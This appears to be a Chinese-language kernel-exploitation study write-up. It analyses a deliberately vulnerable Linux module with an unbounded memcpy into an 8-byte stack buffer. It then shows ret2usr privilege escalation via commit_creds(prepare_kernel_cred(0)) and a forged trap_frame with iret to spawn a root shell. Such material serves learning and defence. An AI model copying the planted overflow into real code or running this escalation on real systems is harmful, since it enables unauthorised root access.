题目源码

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file,const char *buf,unsigned long len)
{
    char localbuf[8];
    memcpy(localbuf,buf,len);
    return len;
}
static int __init stack_smashing_init(void)
{
    printk(KERN_ALERT "stack_smashing driver init!n");
    create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
    return 0;
}
static void __exit stack_smashing_exit(void)
{
    printk(KERN_ALERT "stack_smashing driver exit!n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);

上一篇忘记分析create_proc_entry这个函数了
create_proc_entry函数在linux kernel 2.32.1中的函数原型
struct proc_dir_entry create_proc_entry(const char name, mode_t mode,

                 struct proc_dir_entry *parent)

name :要创建的文件名
mode :要创建的文件的属性 默认0755
parent :这个文件的父目录
它的作用就是在proc目录下创建一个文件
write_proc是结构体的一部分

struct proc_dir_entry {
    unsigned int low_ino;
    unsigned short namelen;
    const char *name;
    mode_t mode;
    nlink_t nlink;
    uid_t uid;
    gid_t gid;
    loff_t size;
    const struct inode_operations *proc_iops;
    /*
     * NULL ->proc_fops means "PDE is going away RSN" or
     * "PDE is just created". In either case, e.g. ->read_proc won't be
     * called because it's too late or too early, respectively.
     *
     * If you're allocating ->proc_fops dynamically, save a pointer
     * somewhere.
     */
    const struct file_operations *proc_fops;
    struct proc_dir_entry *next, *parent, *subdir;
    void *data;
    read_proc_t *read_proc;
    write_proc_t *write_proc;
    atomic_t count;     /* use count */
    int pde_users;  /* number of callers into module in progress */
    spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
    struct completion *pde_unload_completion;
    struct list_head pde_openers;   /* who did ->open, but not ->release */
};

在userspace调用write函数就会调用bug2_write函数
在回到stack_overflow.c 可以看到在bug2_write的时候直接直接引用了memcpy函数,往一个8字节大小的空间内拷贝任意长度数据,这里可以类比userspace,在没有canary保护时,是可以直接rop的,但是这里是内核空间,跟用户空间还是有去别的,因此在rop之前需要了解下面几个东西:
int/iret:看过ret2syscall的肯定知道用户空间通过int 0x80指令进入内核空间,iret指令则相反,是从内核空间返回到用户空间
关于iret指令(出处swing大佬):
1, 当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器。
-2,当使用IRET指令返回到一个不同的保护级别时,IRET不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。
从内核到用户空间(不同保护级别),控制流是如何恢复之前用户空间的栈空间(esp),跟寄存器的?从用户空间转到内核空间时,会在栈上保存一个结构体trap_frame(相关结构如下),从内核空间转到用户空间时,会从栈中恢复寄存器相关信息,这其中包括eip,因此只要我们能够在得到root权限后,控制eip指向一个getshell函数即可,但是 trap_frame这个结构体保存在什么位置我们是不知道的(应该是不知道的。。),因此我们只能在“生成”结构体之前更改

struct trap_frame 
{
    void* eip;                // instruction pointer +0
    uint32_t cs;            // code segment    +4
    uint32_t eflags;        // CPU flags       +8
    void* esp;                // stack pointer       +12
    uint32_t ss;            // stack segment   +16
} __attribute__((packed));

调试

qemu启动以后,在qemu窗口通过grep 0 /sys/module/stack_overflow/sections/.text 命令找到代码段地址

然后启动gdb,通过 add-symbol-file ~/kernelpwn/stack_overflow/stack_overflow.ko 0xd8815000 就能加载符号表等,方便调试

运行poc后,会在bug2_write函数处断下来,这时候我们可以找到ret指令地址,下一个断点,然后执行,可以看到此时栈顶已经是我们控制的值了(无知的改了muhe大佬的poc,结果预期值与结果不同)

构造rop

首先我们要提升权限,需要执行commit_creds(prepare_kernel_cred(0))
通过两条命令:

# grep commit_creds /proc/kallsyms   
# grep prepare_kernel_cred /proc/kallsyms 

就可以获得两个函数的地址

方法一:

void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1069860;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc10696c0;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
       "iret;");
}
方法二:
asm("xor %eax,%eax;"
          "call 0xc1069860;"
          "call 0xc10696c0;"
          "mov $tf,%esp;"
          "iret;"         
    );

使用gdb进行调试
直接断在bug2_write函数ret指令处

可以看到此时栈顶的值为0x08048f3e,对应如下汇编指令,就是我们的payload1

两次call指令分别调用了prepare_kernel_cred(),commit_creds()函数,在iret之前,将一个立即数给了esp,这个地址里面存的就是伪造的trap_frame结构体

第一个值0x08048ee0就是getshell函数的地址

就这样完成了提权+getshell
???
一开始有一个疑问,我们可不可以不伪造trap_frame结构体,让内核自己去iret返回放到userspace。这里是不行的,因为一处以后内核栈就已经被破坏了,需要我们自己返回。 这种方式在现在操作系统里因为smep的存在已经不能实现了,smep的原理就是不允许内核空间执行用户空间代码,唉,继续加油!!!

preView